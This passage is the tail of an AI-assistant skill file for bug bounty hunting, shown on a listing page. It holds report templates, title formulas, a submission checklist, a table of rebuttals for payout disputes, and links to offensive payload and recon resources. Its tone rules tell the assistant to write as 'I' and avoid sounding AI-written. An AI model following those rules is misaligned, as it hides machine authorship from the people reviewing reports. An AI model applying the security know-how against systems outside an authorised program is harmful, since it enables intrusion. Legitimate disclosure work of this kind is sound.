[PoC code — Foundry test preferred for EVM, Move script for Aptos]

Impact:
[Quantify: how much could be drained? Which assets? Which users?]

Recommended Fix:
[Specific, implementable fix with code diff if possible]

References:
[Prior audits, similar bugs, relevant EIPs or standards]
```

## Report Formatting Rules

1. **Title format:** `[Severity] Action-oriented title describing the impact`
2. **No vague impact:** "attacker can do bad things" is not acceptable. Specify: drained funds, stolen credentials, bypassed auth.
3. **PoC must be runnable** (or clearly executable with the described steps)
4. **CVSS required** for Immunefi always, for HackerOne/Bugcrowd/Intigriti when `--cvss` flag is set
5. **Severity self-consistency:** CVSS score and severity label must agree
6. **One finding per report** when generating submission-ready reports

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]
```

## Human Tone Rules (Avoid AI-Sounding Writing)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"

## Report Title Formula

```
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
```

**Good titles:**
```
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
```

**Bad titles:**
```
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
```

## Impact Statement Formula (First Paragraph)

```
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
```

## The 60-Second Pre-Submit Checklist

```
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
```

## Severity Escalation Language

When payout is being downgraded, use these counters:

| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |

---

# RESOURCES

## Bug Bounty Platforms
- [HackerOne Hacktivity](https://hackerone.com/hacktivity) -- Disclosed reports
- [Bugcrowd Crowdstream](https://bugcrowd.com/crowdstream) -- Public findings
- [Intigriti Leaderboard](https://www.intigriti.com/researcher/leaderboard)

## Learning
- [PortSwigger Web Academy](https://portswigger.net/web-security) -- Free vuln labs (best)
- [HackTricks](https://book.hacktricks.xyz) -- Attack technique reference
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) -- Payload reference
- [Solodit](https://solodit.cyfrin.io) -- 50K+ searchable audit findings (Web3)
- [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io) -- Free subdomain datasets

## Wordlists
- [SecLists](https://github.com/danielmiessler/SecLists) -- Comprehensive wordlists
- [HowToHunt](https://github.com/KathanP19/HowToHunt) -- Step-by-step vuln hunting
- [DefaultCreds](https://github.com/ihebski/DefaultCreds-cheat-sheet) -- Default credentials

## Payload Databases
- [XSSHunter](https://xsshunter.trufflesecurity.com/) -- Blind XSS detection
- [interactsh](https://app.interactsh.com) -- OOB callback server

---

# INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

```bash
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md
```

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…